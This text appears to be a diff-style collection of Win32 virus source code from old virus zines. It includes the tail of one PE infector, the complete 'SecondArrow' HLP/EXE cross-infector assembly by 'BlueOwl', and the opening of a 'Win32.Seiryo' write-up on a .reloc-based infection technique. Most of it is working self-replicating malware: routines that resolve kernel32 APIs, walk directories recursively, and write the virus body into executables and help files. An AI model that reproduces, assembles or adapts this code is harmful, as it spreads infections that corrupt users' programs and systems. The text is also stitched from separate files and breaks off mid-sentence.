lea eax,[ebp+dotdot-delta] ; go to '..'
|
||||
push eax
|
||||
call [ebp+SetCurrentDirectoryA-delta]
|
||||
dec byte ptr [ebp+nested-delta]
|
||||
end_trav:
|
||||
add esp,4
|
||||
ret
|
||||
|
||||
infect_dir:
|
||||
push dword ptr [ebp+_alloc-delta] ; find a file
|
||||
lea eax,[ebp+searchmask-delta]
|
||||
push eax
|
||||
call [ebp+FindFirstFileA-delta]
|
||||
inc eax
|
||||
jz no_more_filez
|
||||
dec eax
|
||||
mov [ebp+fnhandle2-delta],eax
|
||||
jmp infect_file
|
||||
|
||||
findnextfile:
|
||||
push dword ptr [ebp+_alloc-delta] ; find next file
|
||||
push dword ptr [ebp+fnhandle2-delta]
|
||||
call [ebp+FindNextFileA-delta]
|
||||
test eax,eax
|
||||
jz no_more_filez
|
||||
|
||||
infect_file:
|
||||
xor edx,edx
|
||||
mov eax,[ebp+_alloc-delta]
|
||||
mov eax,[eax+32]
|
||||
mov ecx,201
|
||||
div ecx
|
||||
test edx,edx
|
||||
jz findnextfile ; already infected?
|
||||
mov eax,[ebp+_alloc-delta] ; (fsize modulo 201 = 0)
|
||||
mov eax,[eax+32]
|
||||
add eax,v_size ; align fsize to 201 ...
|
||||
push eax
|
||||
xor edx,edx
|
||||
div ecx
|
||||
pop eax
|
||||
sub edx,201
|
||||
neg edx
|
||||
add eax,edx
|
||||
mov [ebp+mapsize-delta],eax ; ... and save it
|
||||
|
||||
push 80h ; clear file attributes
|
||||
mov eax,[ebp+_alloc-delta]
|
||||
add eax,44
|
||||
push eax
|
||||
call [ebp+SetFileAttributesA-delta]
|
||||
test eax,eax
|
||||
jz findnextfile
|
||||
|
||||
push 0 ; open file
|
||||
push 80h
|
||||
push 3
|
||||
push 0
|
||||
push 0
|
||||
push 0C0000000h
|
||||
mov eax,[ebp+_alloc-delta]
|
||||
add eax,44
|
||||
push eax
|
||||
call [ebp+CreateFileA-delta]
|
||||
inc eax
|
||||
jz findnextfile
|
||||
dec eax
|
||||
mov [ebp+filehandle-delta],eax
|
||||
|
||||
push 0 ; map file part I
|
||||
push dword ptr [ebp+mapsize-delta]
|
||||
push 0
|
||||
push 4
|
||||
push 0
|
||||
push eax
|
||||
call [ebp+CreateFileMappingA-delta]
|
||||
test eax,eax
|
||||
jz closefile
|
||||
mov [ebp+maphandle-delta],eax
|
||||
|
||||
push dword ptr [ebp+mapsize-delta] ; map file part II
|
||||
push 0
|
||||
push 0
|
||||
push 2
|
||||
push eax
|
||||
call [ebp+MapViewOfFile-delta]
|
||||
test eax,eax
|
||||
jz closefile
|
||||
mov [ebp+mapaddr-delta],eax
|
||||
|
||||
cmp word ptr [eax],'ZM' ; EXE signature?
|
||||
jnz unmap
|
||||
add eax,[eax+3ch]
|
||||
mov edx,[ebp+mapaddr-delta]
|
||||
cmp eax,edx
|
||||
jnae unmap
|
||||
|
||||
mov edi,[ebp+_alloc-delta]
|
||||
add edx,[edi+32]
|
||||
cmp eax,edx
|
||||
ja unmap
|
||||
cmp dword ptr [eax],00004550h ; PE signature?
|
||||
jnz unmap
|
||||
|
||||
mov edx,[eax+28h] ; save entrypoint
|
||||
mov [ebp+oldEIP2-delta],edx
|
||||
mov edx,[eax+34h]
|
||||
mov [ebp+baseaddress-delta],edx ; save base address
|
||||
add [ebp+oldEIP2-delta],edx
|
||||
mov edx,[eax+3ch] ; save file alignment
|
||||
mov [ebp+filealign-delta],edx
|
||||
|
||||
mov esi,[eax+74h] ; go to the last section header
|
||||
shl esi,3
|
||||
movzx ebx,word ptr [eax+6]
|
||||
dec ebx
|
||||
xchg eax,ebx
|
||||
imul eax,eax,28h
|
||||
lea esi,[esi+eax+78h]
|
||||
add esi,ebx
|
||||
|
||||
or dword ptr [esi+24h], 0E0000020h ; set characteristix
|
||||
|
||||
add dword ptr [esi+8],v_size ; correct VirtualSize
|
||||
mov eax,[esi+8]
|
||||
|
||||
xor edx,edx ; calculate new RawSize
|
||||
mov ecx,[ebp+filealign-delta]
|
||||
div ecx
|
||||
test edx,edx
|
||||
jz no_inc
|
||||
inc eax
|
||||
no_inc:
|
||||
mul ecx
|
||||
mov edx,eax
|
||||
sub edx,[esi+10h]
|
||||
add [ebx+50h],edx ; add increase to image size
|
||||
mov [esi+10h],eax ; save new RawSize
|
||||
|
||||
push esi
|
||||
|
||||
mov edi,[esi+8] ; prepare to copy virus
|
||||
add edi,[esi+14h]
|
||||
sub edi,v_size
|
||||
add edi,[ebp+mapaddr-delta]
|
||||
|
||||
mov ecx,v_size ; copy it!
|
||||
lea esi,[ebp+v_start-delta]
|
||||
rep movsb
|
||||
|
||||
pop esi ; save new entrypoint
|
||||
mov edi,[esi+8]
|
||||
add edi,[esi+0ch]
|
||||
sub edi,v_size
|
||||
mov [ebx+28h],edi
|
||||
|
||||
unmap:
|
||||
push dword ptr [ebp+mapaddr-delta] ; unmap file
|
||||
call [ebp+UnmapViewOfFile-delta]
|
||||
|
||||
closefile:
|
||||
push dword ptr [ebp+filehandle-delta] ; and close it
|
||||
call [ebp+CloseHandle-delta]
|
||||
|
||||
mov eax,[ebp+_alloc-delta] ; restore old attribs
|
||||
push eax
|
||||
add eax,44
|
||||
push eax
|
||||
call [ebp+SetFileAttributesA-delta]
|
||||
|
||||
jmp findnextfile
|
||||
|
||||
no_more_filez:
|
||||
ret
|
||||
; variables part II
|
||||
APInames:
|
||||
_GetWindowsDirectoryA DB "GetWindowsDirectoryA",0
|
||||
_GetCurrentDirectoryA DB "GetCurrentDirectoryA",0
|
||||
_SetCurrentDirectoryA DB "SetCurrentDirectoryA",0
|
||||
_GetSystemDirectoryA DB "GetSystemDirectoryA",0
|
||||
_GetCommandLineA DB "GetCommandLineA",0
|
||||
_GetSystemTime DB "GetSystemTime",0
|
||||
_ExitThread DB "ExitThread",0
|
||||
_CreateThread DB "CreateThread",0
|
||||
_CloseHandle DB "CloseHandle",0
|
||||
_UnmapViewOfFile DB "UnmapViewOfFile",0
|
||||
_MapViewOfFile DB "MapViewOfFile",0
|
||||
_SetFileAttributesA DB "SetFileAttributesA",0
|
||||
_CreateFileMappingA DB "CreateFileMappingA",0
|
||||
_CreateFileA DB "CreateFileA",0
|
||||
_FindNextFileA DB "FindNextFileA",0
|
||||
_FindFirstFileA DB "FindFirstFileA",0
|
||||
_VirtualAlloc DB "VirtualAlloc",0
|
||||
_LoadLibraryA DB "LoadLibraryA",0
|
||||
|
||||
_RegSetValueExA DB "RegSetValueExA",0
|
||||
_RegOpenKeyExA DB "RegOpenKeyExA",0
|
||||
|
||||
ptr_table:
|
||||
DD offset _GetWindowsDirectoryA
|
||||
DD offset _GetCurrentDirectoryA
|
||||
DD offset _SetCurrentDirectoryA
|
||||
DD offset _GetSystemDirectoryA
|
||||
DD offset _GetCommandLineA
|
||||
DD offset _GetSystemTime
|
||||
DD offset _ExitThread
|
||||
DD offset _CreateThread
|
||||
DD offset _CloseHandle
|
||||
DD offset _UnmapViewOfFile
|
||||
DD offset _MapViewOfFile
|
||||
DD offset _SetFileAttributesA
|
||||
DD offset _CreateFileMappingA
|
||||
DD offset _CreateFileA
|
||||
DD offset _FindNextFileA
|
||||
DD offset _FindFirstFileA
|
||||
DD offset _VirtualAlloc
|
||||
DD offset _LoadLibraryA
|
||||
|
||||
regkey DB "Control Panel\desktop",0
|
||||
value1name DB "ScreenSaveUsePassword",0
|
||||
value2 DB 31h,42h,41h,44h,32h,34h,35h,38h,32h,32h,32h,37h,45h
|
||||
DB 37h,35h,45h,33h,39h,44h,38h,30h,38h,41h,41h,00h
|
||||
value2name DB "ScreenSave_Data",0
|
||||
|
||||
v_end:
|
||||
|
||||
end v_start
|
||||
@@ -0,0 +1,587 @@
|
||||
;
|
||||
; SecondArrow by BlueOwl
|
||||
;
|
||||
; HLP/EXE (Cross)-Infector
|
||||
;
|
||||
; Disclaimer
|
||||
;
|
||||
; This is the assembler source of a VIRUS. Me, the author
|
||||
; cannot be held responsible for any problems caused by
|
||||
; the compiled program. Please do not assemble it if you do
|
||||
; not know what you are doing.
|
||||
;
|
||||
; Description
|
||||
;
|
||||
; Exes and hlps have always been in a nice kind of circulation,
|
||||
; and this is exactly what this virus exploits, infecting both.
|
||||
; It infects up to 3 files per run and only randomly activates
|
||||
; its payload when no file was infected. I liked doing something
|
||||
; like this because i thought it was fun combining to techniques
|
||||
; of infection into one.
|
||||
;
|
||||
; About hlps
|
||||
;
|
||||
; Hlps are a little bit harder to infect than exefiles (when dealing
|
||||
; with the bare minimum infection), and infecting hlps is relatively
|
||||
; onnused comparing to the thousands of exeinfectors around this globe.
|
||||
; However, it is quite possible to do so and it can work under any
|
||||
; windows platform with most versions of winhlp.exe.
|
||||
;
|
||||
; Hlp file infection just exploits the very simple fact that you can
|
||||
; use any windows function in hlps. So for example you could use
|
||||
; MessageBoxA(0,"Hello","Dear reader",0); and when the hlpfile loads
|
||||
; it will display this string. Now the thing that can be exploited
|
||||
; here is that one could also pass something like EnumWindows("[string]"
|
||||
; , 0); to it and the "[string]" would be executed because this is
|
||||
; an ENUMERATE function (windows calls the first argument). And
|
||||
; this string can also be the virus code. There is however one problem:
|
||||
; the virus must be a string and thus can't be executed if any
|
||||
; zero's are present in the string. This is solved in hlp virusses by
|
||||
; writing/pusing the entire virus body onto stack and executing it there.
|
||||
;
|
||||
; Payload
|
||||
;
|
||||
; Make a scary sound. ;)
|
||||
;
|
||||
; Assemble with fasm (version 1.50/1.52 should work fine at least)
|
||||
; get it from http://www.flatassembler.net
|
||||
|
||||
format PE GUI 4.0
|
||||
|
||||
include '%fasminc%\win32a.inc' ; fasm assembles this FLAT with read/write/execute attributes
|
||||
|
||||
; .equates
|
||||
GENERIC_READWRITE equ 0C0000000h
|
||||
find_data equ (_fd-4)
|
||||
hfind equ (_hf-4)
|
||||
virus_size equ ((virus_enda-virus_start)/4+1)*4 ; aligned to a dword (required when being in stack)
|
||||
virus_end equ (virus_start+virus_size) ; otherwise the virus will start with a few zeros
|
||||
OldEip equ (oep-4)
|
||||
|
||||
macro wcall proc,[arg] ; wcall procedure (indirect)
|
||||
{ common ; a macro for calling windows apis ;)
|
||||
if ~ arg eq
|
||||
stdcall [ebp+proc-delta],arg
|
||||
else
|
||||
call [ebp+proc-delta]
|
||||
end if }
|
||||
|
||||
|
||||
; .startup
|
||||
mov dword [OldEip], exit
|
||||
; .code
|
||||
virus_start: push 012345678h ; only used when an exe was infected
|
||||
oep: pushad ; save regs
|
||||
cld ; clear direction flag
|
||||
decrypt_from: call set_seh_handler
|
||||
mov esp, [esp+8] ; restore seh
|
||||
jmp error_occurred
|
||||
|
||||
db "..SecondArrow.."
|
||||
|
||||
set_seh_handler:sub eax, eax
|
||||
fs push dword [eax]
|
||||
fs mov [eax], esp ; setup self exeption handling
|
||||
|
||||
exehlpa: stc ; this is a clc when we are a hlp
|
||||
jc exe_start
|
||||
|
||||
mov edi, [esp+virus_size+44] ; esi = return address (in kernel32)
|
||||
jmp in_find_k32
|
||||
exe_start: mov edi, [esp+44] ; edi = somewhere in k32
|
||||
jmp in_find_k32
|
||||
find_k32: dec edi ; what do you think of this routine ;)
|
||||
in_find_k32: sub di, di ; align
|
||||
cmp word [edi], "MZ"
|
||||
jnz find_k32 ; edi = base of kernel32
|
||||
|
||||
call load_delta
|
||||
delta: dd 0c3941b3eh ; data is carried close to delta so
|
||||
CreateFile dd ? ; this way most references are small
|
||||
dd 092d23c21h
|
||||
ReadFile dd ?
|
||||
dd 0b9b3edbfh
|
||||
SetFilePointer dd ?
|
||||
dd 0d43240b9h
|
||||
WriteFile dd ?
|
||||
dd 08a425b5dh
|
||||
CloseHandle dd ?
|
||||
dd 0bda885d4h
|
||||
FindFirstFile dd ?
|
||||
dd 06c38b20bh
|
||||
FindNextFile dd ?
|
||||
dd 0a050a531h
|
||||
FindClose dd ?
|
||||
dd 0c6c1b075h
|
||||
GlobalAlloc dd ?
|
||||
dd 0c4617123h
|
||||
GlobalLock dd ?
|
||||
dd 05837bb59h
|
||||
GlobalUnlock dd ?
|
||||
dd 0b8925923h
|
||||
GlobalFree dd ?
|
||||
dd 0642682e4h
|
||||
SetCurrentDirectory dd ?
|
||||
dd 08a844000h
|
||||
Beep dd ? ; for the payload
|
||||
dd 030e656feh
|
||||
GetTickCount dd ? ; ditto
|
||||
dd 0
|
||||
|
||||
infection_count db 0
|
||||
|
||||
hmem dd "Spac"
|
||||
hfile dd "e fo"
|
||||
hfmem dd "r re"
|
||||
hfstart dd "nt $"
|
||||
nbr dd "5 ! "
|
||||
all_mask db "*.*",0 ; seach for whatever
|
||||
|
||||
macrostart db 4,0,_mse-_ms,0
|
||||
_ms db 'RR("KERNEL32","EnumSystemCodePagesA","SU")',0 ; a macro with callback features
|
||||
_mse: db 4,0
|
||||
macro_size dw ?
|
||||
enumw db 'EnumSystemCodePagesA("'
|
||||
xchg edi, esp ; edi = esp
|
||||
std ; decrementing pointer
|
||||
dec edi ; otherwise the last byte would get overwritten
|
||||
endmacrostart:
|
||||
startmacrosize equ (endmacrostart-macrostart)
|
||||
|
||||
macroend: xchg edi, esp ; esp = edi
|
||||
inc esp ; actual entry
|
||||
push esp
|
||||
ret ; jump to esp
|
||||
db '",0)',0
|
||||
endmacroend:
|
||||
endmacrosize equ (endmacroend-macroend)
|
||||
|
||||
|
||||
load_delta: pop ebp ; ebp = delta handle
|
||||
mov esi, ebp
|
||||
lodsd
|
||||
get_funcs: xchg ebx, eax
|
||||
push esi
|
||||
push ebp
|
||||
mov ebp, [edi+60]
|
||||
add ebp, edi ; ebp = ptr to peheader
|
||||
mov ebp, [ebp+120]
|
||||
add ebp, edi ; ebp = ptr to export table
|
||||
mov edx, [ebp+36]
|
||||
add edx, edi ; edx = ptr to function ordinals
|
||||
mov esi, [ebp+32]
|
||||
add esi, edi ; esi = ptr to ptrs of function names
|
||||
mov ecx, [ebp+20] ; ecx = number of exported functions
|
||||
find_function: push esi
|
||||
push edx
|
||||
sub eax, eax
|
||||
cdq ; edx=eax=0
|
||||
mov esi, [esi]
|
||||
add esi, edi ; esi = ptr to function name
|
||||
make_checksum: lodsb
|
||||
add edx, eax
|
||||
rol edx, 5
|
||||
or eax, eax
|
||||
jnz make_checksum ; edx = checksum
|
||||
cmp edx, ebx ; compare with needed
|
||||
pop edx
|
||||
pop esi
|
||||
jz ff_ok
|
||||
add esi, 4 ; next namepointer
|
||||
inc edx
|
||||
inc edx ; next ordinal
|
||||
loop find_function
|
||||
jmp function_notfound ; exit with eax = 0
|
||||
ff_ok: mov esi, [ebp+28]
|
||||
add esi, edi ; esi = ptr to function addresses
|
||||
movzx ecx, word [edx] ; ecx = function number
|
||||
inc ecx ; ecx ++
|
||||
rep lodsd
|
||||
add eax, edi ; eax = function address
|
||||
function_notfound:
|
||||
pop ebp
|
||||
pop esi
|
||||
mov [esi], eax
|
||||
or eax, eax ; function could not be found?
|
||||
je error_occurred
|
||||
lodsd
|
||||
lodsd
|
||||
or eax, eax
|
||||
jnz get_funcs ; load all functions
|
||||
|
||||
mov byte [ebp+infection_count-delta], 3 ; better not more then 3 ;)
|
||||
|
||||
wcall GlobalAlloc,GMEM_MOVEABLE,314
|
||||
or eax, eax
|
||||
jz error_occurred
|
||||
mov [ebp+find_data-delta], eax
|
||||
wcall GlobalLock,eax
|
||||
mov [ebp+hmem-delta], eax
|
||||
|
||||
call infect_files
|
||||
|
||||
cmp byte [ebp+infection_count-delta], 3 ; nothing infected?
|
||||
jnz close_mem
|
||||
wcall GetTickCount ; Get a "random" number
|
||||
|
||||
cmp al, 44h ; so this occurs one in about 256 times
|
||||
jnz close_mem
|
||||
|
||||
; payload
|
||||
push 37 ; make a scary sound payload :)
|
||||
pop esi
|
||||
sub edi, edi
|
||||
countup: add esi, edi
|
||||
wcall Beep,esi,40
|
||||
inc esi
|
||||
test esi, 7
|
||||
jnz nok
|
||||
inc edi
|
||||
nok: cmp esi, 1500
|
||||
jb countup
|
||||
|
||||
close_mem: mov esi, 012345678h
|
||||
_fd: wcall GlobalUnlock,esi
|
||||
wcall GlobalFree,esi
|
||||
error_occurred: sub eax, eax
|
||||
fs pop dword [eax]
|
||||
pop ebx
|
||||
exehlpb: stc
|
||||
popad
|
||||
jc exit_exe
|
||||
add esp, virus_size+4 ; fix stack
|
||||
sub eax, eax ; return false
|
||||
ret 4
|
||||
|
||||
exit_exe: ret
|
||||
|
||||
; ///////////////////////////////////////////////////////////////////////////
|
||||
|
||||
infect_files: lea eax, [ebp+all_mask-delta] ; seach for anything
|
||||
wcall FindFirstFile,eax,[ebp+hmem-delta]
|
||||
mov [ebp+hfind-delta], eax ; save findhandle
|
||||
inc eax
|
||||
jz no_file_found ; close memory on error
|
||||
|
||||
|
||||
try_next_file: cmp byte [ebp+infection_count-delta], 0
|
||||
jz no_file_found ; close search
|
||||
mov edi, [ebp+hmem-delta]
|
||||
|
||||
mov eax, [edi+32] ; eax = size of file
|
||||
and al, 15
|
||||
cmp al, 15 ; check for infection padding
|
||||
jz already_infected
|
||||
|
||||
call set_infection_seh
|
||||
mov esp, [esp+8]
|
||||
jmp restore_seh
|
||||
set_infection_seh:
|
||||
sub eax, eax
|
||||
fs push dword [eax]
|
||||
fs mov [eax], esp
|
||||
|
||||
; open and read file
|
||||
|
||||
lea ebx, [edi+44d]
|
||||
|
||||
mov esi, ebx ; esi = start of filename
|
||||
find_end: lodsb
|
||||
or al, al
|
||||
jnz find_end ; esi = ptr to end of file name
|
||||
mov eax, [esi-5] ; eax = file extension
|
||||
or eax, 020202020h ; to lowercase
|
||||
cmp eax, ".exe"
|
||||
je ext_ok
|
||||
cmp eax, ".hlp"
|
||||
jne not_infectable
|
||||
ext_ok:
|
||||
sub eax, eax
|
||||
wcall CreateFile,ebx,GENERIC_READWRITE,eax,eax,3,128,eax ; open the file
|
||||
|
||||
mov [ebp+hfile-delta], eax
|
||||
inc eax
|
||||
jz cant_open_file
|
||||
|
||||
mov eax, dword [edi+32d]
|
||||
add eax, virus_size*3+4000h ; add some extra space
|
||||
|
||||
wcall GlobalAlloc,GMEM_MOVEABLE,eax ; Get some space
|
||||
or eax, eax
|
||||
jz close_file
|
||||
mov [ebp+hfmem-delta], eax
|
||||
wcall GlobalLock,eax ; Lock it (required for some windowsversions)
|
||||
|
||||
or eax, eax
|
||||
jz close_fmem
|
||||
mov [ebp+hfstart-delta], eax
|
||||
|
||||
push eax
|
||||
|
||||
lea ebx, [ebp+nbr-delta]
|
||||
|
||||
wcall ReadFile,[ebp+hfile-delta],eax,[edi+32d],ebx,0 ; Load file into memory
|
||||
or eax, eax
|
||||
jz close_lock
|
||||
|
||||
pop edx
|
||||
mov edi, edx ; save start to edi too
|
||||
|
||||
push edx
|
||||
lea eax, [ebp+exehlpa-delta]
|
||||
lea ecx, [ebp+exehlpb-delta]
|
||||
push dword [ecx]
|
||||
push ecx
|
||||
mov ebx, [esi-5]
|
||||
or ebx, 020202020h
|
||||
cmp ebx, ".exe"
|
||||
je is_exe
|
||||
mov byte [eax], 0f8h
|
||||
mov byte [ecx], 0f8h ; hlp marker (clc)
|
||||
call infect_hlpfile
|
||||
jmp infect_done
|
||||
is_exe: mov byte [eax], 0f9h ; exe marker (stc)
|
||||
mov byte [ecx], 0f9h
|
||||
call infect_exefile
|
||||
infect_done: pop eax
|
||||
pop dword [eax]
|
||||
pop edx
|
||||
jc close_lock ; carry flag is on if error happened
|
||||
|
||||
dec byte [ebp+infection_count-delta] ; take on off the infection counter
|
||||
|
||||
sub edi, edx ; edi = size of file
|
||||
|
||||
push edi
|
||||
wcall SetFilePointer,[ebp+hfile-delta],0,0,FILE_BEGIN
|
||||
pop ecx
|
||||
|
||||
or cl, 15 ; infection sign
|
||||
|
||||
lea eax, [ebp+nbr-delta]
|
||||
wcall WriteFile,[ebp+hfile-delta],[ebp+hfstart-delta],ecx,eax,0
|
||||
|
||||
close_lock: wcall GlobalUnlock,[ebp+hfmem-delta]
|
||||
close_fmem: wcall GlobalFree,[ebp+hfmem-delta]
|
||||
close_file: wcall CloseHandle,[ebp+hfile-delta]
|
||||
cant_open_file:
|
||||
jmp restore_seh
|
||||
|
||||
not_infectable: cmp dword [edi], FILE_ATTRIBUTE_DIRECTORY ; is this a directory?
|
||||
jnz restore_seh
|
||||
lea eax, [edi+44]
|
||||
cmp byte [eax], "." ; is a root?
|
||||
jz restore_seh
|
||||
wcall SetCurrentDirectory,eax ; set it as dir
|
||||
push dword [ebp+hfind-delta]
|
||||
call infect_files ; recursive call
|
||||
pop dword [ebp+hfind-delta]
|
||||
call dot_dot
|
||||
db "..",0
|
||||
dot_dot: wcall SetCurrentDirectory ; return to this dir
|
||||
restore_seh: sub eax, eax
|
||||
fs pop dword [eax]
|
||||
pop eax
|
||||
|
||||
already_infected:
|
||||
push [ebp+hmem-delta]
|
||||
push 012345678h
|
||||
_hf: call [ebp+FindNextFile-delta]
|
||||
or eax, eax
|
||||
jnz try_next_file
|
||||
no_file_found:
|
||||
wcall FindClose,[ebp+hfind-delta]
|
||||
ret
|
||||
|
||||
|
||||
; ----------------------------------------------------------------------------------------
|
||||
|
||||
; both routines
|
||||
; on entry: edi = edx = start of file
|
||||
;
|
||||
; on exit: carry on: error happened
|
||||
; carry off: infection successfull
|
||||
|
||||
; i tried to make the smallest possible routine for this
|
||||
; all is old school and should be easily understandable
|
||||
; reading the comments ;)
|
||||
|
||||
infect_exefile: cmp word [edx], "MZ" ; "MZ" present?
|
||||
jnz no_good_exe
|
||||
add edx, [edx+60]
|
||||
cmp word [edx], "PE" ; "PE" present?
|
||||
jnz no_good_exe
|
||||
mov esi, edx ; esi = peheader
|
||||
add esi, 120 ; esi = dirheader
|
||||
mov eax, [edx+116] ; eax = number of dir entries
|
||||
shl eax, 3 ; eax = eax*8
|
||||
add esi, eax ; esi = first section header
|
||||
movzx eax, word [edx+6] ; eax = number of sections
|
||||
dec eax ; eax = eax-1
|
||||
imul eax,eax,40
|
||||
add esi, eax ; esi = ptr to last section header
|
||||
or byte [esi+39], 0F0h ; give section necessary rights
|
||||
mov ecx, virus_size ; ecx = size of virus
|
||||
mov ebx, [esi+16] ; ebx = physical size of section
|
||||
add [esi+16], ecx ; increase section physical size
|
||||
add [esi+8], ecx ; increase section virtual size
|
||||
push dword [esi+8] ; push section virtual size
|
||||
pop dword [edx+80] ; imagesize = section virtual size
|
||||
mov eax, [esi+12] ; eax = section rva
|
||||
add [edx+80], eax ; add it to the imagesize
|
||||
add edi, [esi+20] ; edi = section offset
|
||||
add edi, ebx ; edi = end of section
|
||||
add eax, ebx ; eax = rva of virus
|
||||
xchg [edx+40], eax ; swap it with old entrypoint
|
||||
add eax, [edx+52] ; add imagebase to it
|
||||
mov [ebp+OldEip-delta], eax ; save it
|
||||
lea esi, [ebp+virus_start-delta] ; esi = virus start
|
||||
rep movsb ; edi = ptr to end of file
|
||||
clc ; indicate sucess
|
||||
ret
|
||||
no_good_exe: stc ; indicate error
|
||||
ret
|
||||
|
||||
; HLP Infection routine, see upper comments
|
||||
; and comments below to see how it works
|
||||
;
|
||||
; .The source of HLP.AYUDA (29a#5) was very helpfull when
|
||||
; .i got lost a little! Thankyou Bumblebee.
|
||||
;
|
||||
; Here is a little "diagram" about how we touch this stuff.
|
||||
; Note: if you don't know, rb [num] means [num] bytes
|
||||
; dots mean and undefined number of data
|
||||
;
|
||||
; -------- HLP FILE -------
|
||||
;
|
||||
; Magic dd 00035f3fh
|
||||
; DirStart dd offset main_directory
|
||||
; NotDir dd ?
|
||||
; filesize dd official filesize
|
||||
; .
|
||||
; .
|
||||
; .
|
||||
; main_directory:
|
||||
; String rb 9
|
||||
; Magic dw 293bh
|
||||
; Data rb 28
|
||||
; Kind dw ?
|
||||
; .
|
||||
; .
|
||||
; .
|
||||
; String "|SYSTEM"
|
||||
; System dd offset to system_directory
|
||||
; .
|
||||
; .
|
||||
; system_directory:
|
||||
; data rb ? (here is the old system directory)
|
||||
; .
|
||||
; .
|
||||
; .
|
||||
; eof_file:
|
||||
; (here the old system_directory + our stuff comes)
|
||||
;
|
||||
; ----------------------------
|
||||
|
||||
|
||||
infect_hlpfile: cmp dword [edi], 00035f3fh ; check for magic value
|
||||
jnz no_good_hlp
|
||||
mov esi, [edi+12] ; esi = filesize
|
||||
add edi, [edi+4] ; edi = ptr to hlpfileheader
|
||||
cmp word [edi+9], 293bh ; check for magic here
|
||||
jnz no_good_hlp
|
||||
cmp word [edi+39], 1 ; check if the data is not indexed
|
||||
jnz no_good_hlp
|
||||
|
||||
mov ecx, 565 ; set scan range
|
||||
find_system: inc edi
|
||||
cmp dword [edi], "|SYS" ; find |SYSTEM, ignoring all between
|
||||
jz system_found
|
||||
loop find_system
|
||||
jmp no_good_hlp
|
||||
|
||||
system_found: xchg esi, [edi+8] ; swap it with ptr to system dir
|
||||
add esi, edx ; get system dir
|
||||
cmp word [esi+9], 036ch ; check if system dir
|
||||
jnz no_good_hlp
|
||||
mov ecx, [esi] ; size of system dir
|
||||
mov edi,edx
|
||||
add edi,[edx+12] ; edi = ptr to end of file
|
||||
push edi ; save start
|
||||
rep movsb ; copy old system directory
|
||||
push edi
|
||||
lea esi, [ebp+macrostart-delta] ; copy start of new macro
|
||||
mov ecx, startmacrosize
|
||||
rep movsb
|
||||
|
||||
lea esi, [ebp+virus_end-delta]
|
||||
mov ecx, virus_size
|
||||
|
||||
|
||||
; The whole virus will be translated into
|
||||
; "mov al, virus_byte[x]; stosb" 's, if
|
||||
; the character is a zero a "sub al, al;
|
||||
; stosb" is used instead. Furthermore
|
||||
; other "special" chars are "\"d.
|
||||
|
||||
loop_generate: mov al, 0B0h ; mov al, ..
|
||||
dec esi
|
||||
mov ah, byte [esi]
|
||||
cmp ah, 22h ; '"'
|
||||
je fix_it
|
||||
cmp ah, 27h ; '''
|
||||
je fix_it
|
||||
cmp ah, 5ch ; '\'
|
||||
je fix_it
|
||||
cmp ah, 60h ; '''
|
||||
je fix_it
|
||||
or ah, ah ; 0
|
||||
jnz no_fix
|
||||
mov ax, 0C028h ; sub al, al
|
||||
jmp no_fix
|
||||
fix_it: stosb
|
||||
mov al, '\'
|
||||
no_fix: stosw
|
||||
mov al, 0AAh ; stosb
|
||||
stosb
|
||||
loop loop_generate
|
||||
|
||||
lea esi, [ebp+macroend-delta]
|
||||
mov cl, endmacrosize
|
||||
rep movsb
|
||||
|
||||
pop esi ; get start of new sysdir
|
||||
pop ebx
|
||||
mov ecx, edi ; ecx = edi
|
||||
sub ecx, esi ; ecx = size of new sysdir
|
||||
sub ecx, (enumw-macrostart)
|
||||
mov word [esi+macro_size-macrostart], cx
|
||||
|
||||
mov ecx, edi
|
||||
sub edi, ebx ; edi = system size
|
||||
mov [ebx], edi
|
||||
add [edx+12], edi
|
||||
sub edi, 9
|
||||
mov [ebx+4], edi
|
||||
|
||||
xchg ecx, edi ; edi = end of file
|
||||
clc ; indicate success
|
||||
ret
|
||||
|
||||
no_good_hlp: stc ; failure
|
||||
ret
|
||||
|
||||
; i hope you understood this stuff!
|
||||
|
||||
db "My way into history!",13,10
|
||||
db "BlueOwl June/2004"
|
||||
|
||||
virus_enda:
|
||||
|
||||
padding dd 0
|
||||
|
||||
exit: ret
|
||||
|
||||
; BlueOwl June/2004 ;)
|
||||
|
||||
|
||||
@@ -0,0 +1,976 @@
|
||||
COMMENT ` ---------------------------------------------------------------- )=-
|
||||
-=( Natural Selection Issue #1 ------------------------------ Win32.Seiryo )=-
|
||||
-=( ---------------------------------------------------------------------- )=-
|
||||
|
||||
-=( 0 : Win32.Seiryo Features -------------------------------------------- )=-
|
||||
|
||||
Imports: Locates the Kernel, does it's own imports
|
||||
Infects: PE files containing .reloc section by expanding the host's CODE
|
||||
section and putting itself in it (and not setting the write
|
||||
bit)
|
||||
Locates: Files in current directory
|
||||
Compatibility: All tested windows versions
|
||||
Saves Stamps: Yes
|
||||
MultiThreaded: No
|
||||
Polymorphism: None
|
||||
AntiAV / EPO: None
|
||||
SEH Abilities: None
|
||||
Payload: None
|
||||
|
||||
-=( 1 : Win32.Seiryo Design Goals ---------------------------------------- )=-
|
||||
|
||||
The purpose of this virus was to test a relatively new method of allocating
|
||||
space for a virus. Traditionally, the virus is simply appended to the end of
|
||||
the file as either a separate section or tacked onto the last section. This
|
||||
has the problem that usually the entry point to the file is now not the code
|
||||
section, and inevitably program execution leaves the code section.
|
||||
|
||||
This idea was derived from Zombie's Zmist - that is to use the .reloc section.
|
||||
This virus looks for a file with a reloc section, memory maps it, and proceeds
|
||||
to expand the code section to fit the virus. It then copies itself into this
|
||||
space. All the other sections are moved back to make space for the virus, the
|
||||
code section is updated to reflect these changes (thanks to reloc telling you
|
||||
where the data is), and then the entire PE header must be updated. So, how
|
||||
well does this method work?
|
||||
|
||||
Here's a breakdown of what must be done and it's complexity:
|
||||
|
||||
: Calculating the move amounts/new addresses is straight forward.
|
||||
: Using .reloc to update the .text is surprisingly easy
|
||||
|
||||
But:
|
||||
|
||||
: Fixing up EVERY RVA/VA in the PE header is a nightmare, especially with the
|
||||
documentation on the more obscure parts of it being hard to come by. The main
|
||||
stuff that NEEDS to be fixed is:
|
||||
: PE Header (SizeOfImage, etc)
|
||||
: Data Directory
|
||||
: Section Table
|
||||
: Import Tables (HNA, and first thunk too)
|
||||
: .reloc section
|
||||
: Resource Section (else icons disappear - may as well write a
|
||||
prepending virus if you don't)
|
||||
: Export Section (and all that goes with that)
|
||||
: Debug Entries (optional - just zero it)
|
||||
: There are about 5-8 more thing, but they are never used and
|
||||
good documentation on them is scarce
|
||||
|
||||
So, how well does it work? It works ok.
|
||||
|
||||
Well, coding it is lots of work, and the debugging highly unpleasant.
|
||||
Reconstructed files are surprisingly stable providing that the code is
|
||||
